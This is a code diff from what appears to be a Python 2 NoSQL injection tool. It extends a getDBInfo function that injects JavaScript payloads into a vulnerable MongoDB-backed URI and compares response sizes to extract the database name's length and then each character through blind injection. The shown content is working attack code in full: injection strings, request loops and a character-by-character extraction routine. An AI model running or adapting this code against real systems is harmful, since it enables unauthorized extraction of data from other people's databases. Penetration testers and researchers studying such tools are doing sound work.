@@ -1075,13 +1075,18 @@ def brute_pass(user,key):
1075
1075
def getDBInfo ():
1076
1076
curLen = 0
1077
1077
nameLen = 0
1078
+ gotFullDb = False
1078
1079
gotNameLen = False
1079
1080
gotDbName = False
1080
1081
gotColLen = False
1081
1082
gotColName = False
1083
+ dbName = ""
1084
+ charCounter = 0
1085
+ nameCounter = 0
1086
+ chars = string .ascii_letters + string .digits
1082
1087
print "Getting baseline True query return size..."
1083
1088
trueUri = uriArray [16 ].replace ("---" ,"return true; var dummy ='!" + "&" )
1084
- print "Debug " + str (trueUri )
1089
+ # print "Debug " + str(trueUri)
1085
1090
baseLen = int (len (urllib .urlopen (trueUri ).read ()))
1086
1091
print "Got baseline true query length of " + str (baseLen )
1087
1092
@@ -1090,16 +1095,39 @@ def getDBInfo():
1090
1095
1091
1096
while gotNameLen == False :
1092
1097
calcUri = uriArray [16 ].replace ("---" ,"var curdb = db.getName(); if (curdb.length ==" + str (curLen ) + ") {return true;} vardum='a" + "&" )
1093
- print "Debug: " + calcUri
1098
+ # print "Debug: " + calcUri
1094
1099
lenUri = int (len (urllib .urlopen (calcUri ).read ()))
1095
- print "Debug length: " + str (lenUri )
1100
+ # print "Debug length: " + str(lenUri)
1096
1101
1097
1102
if lenUri == baseLen :
1098
- print " Got database name length of " + str (curLen ) + " characters."
1103
+ print "Got database name length of " + str (curLen ) + " characters."
1099
1104
gotNameLen = True
1100
1105
1101
1106
else :
1102
1107
curLen += 1
1108
+
1109
+ print "Database Name: " ,
1110
+ while gotDbName == False :
1111
+ charUri = uriArray [16 ].replace ("---" ,"var curdb = db.getName(); if (curdb.charAt(" + str (nameCounter ) + ") == '" + chars [charCounter ] + "') { return true; } vardum='a" )
1112
+ #print "Debug: " + charUri
1113
+
1114
+ lenUri = int (len (urllib .urlopen (charUri ).read ()))
1115
+ #print "debug: " + str(charCounter)
1116
+ #print "Debug length: " + str(lenUri)
1117
+
1118
+ if lenUri == baseLen :
1119
+ dbName = dbName + chars [charCounter ]
1120
+ print chars [charCounter ],
1121
+ nameCounter += 1
1122
+ charCounter = 0
1123
+
1124
+ if nameCounter == curLen :
1125
+ gotDbName = True
1126
+
1127
+
1128
+ else :
1129
+ charCounter += 1
1130
+ print "\n "
1103
1131
raw_input ("Press enter to continue..." )
1104
1132
1105
1133
mainMenu ()
0 commit comments